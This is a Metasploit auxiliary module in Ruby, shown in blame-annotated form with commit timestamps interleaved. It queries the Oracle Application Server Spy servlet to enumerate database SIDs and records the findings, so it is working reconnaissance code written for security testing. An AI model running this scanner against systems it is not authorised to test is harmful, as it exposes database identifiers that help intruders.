2010-04-30 08:40:19 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-05-01 22:01:21 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Scanner
|
2009-05-01 22:01:21 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Oracle Application Server Spy Servlet SID Enumeration',
|
|
|
|
'Description' => %q{
|
|
|
|
This module makes a request to the Oracle Application Server
|
|
|
|
in an attempt to discover the SID.
|
|
|
|
},
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ],
|
|
|
|
],
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
2009-05-01 22:01:21 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(1158)
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2009-05-01 22:01:21 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run_host(ip)
|
|
|
|
begin
|
|
|
|
res = send_request_raw({
|
|
|
|
'uri' => '/servlet/Spy?format=raw&loginfo=true',
|
|
|
|
'method' => 'GET',
|
|
|
|
'version' => '1.1',
|
|
|
|
}, 5)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if res and res.body =~ /SERVICE_NAME=/
|
|
|
|
select(nil,nil,nil,2)
|
|
|
|
sid = res.body.scan(/SERVICE_NAME=([^\)]+)/)
|
|
|
|
report_note(
|
|
|
|
:host => ip,
|
|
|
|
:port => datastore['RPORT'],
|
|
|
|
:proto => 'tcp',
|
|
|
|
:type => 'oracle_sid',
|
|
|
|
:data => "#{sid.uniq}",
|
|
|
|
:update => :unique_data
|
|
|
|
)
|
|
|
|
print_good("#{rhost}:#{rport} Discovered SID: '#{sid.uniq}'")
|
|
|
|
else
|
|
|
|
print_error("Unable to retrieve SID for #{ip}...")
|
|
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
|
|
end
|
2009-05-01 22:01:21 +00:00
|
|
|
end
|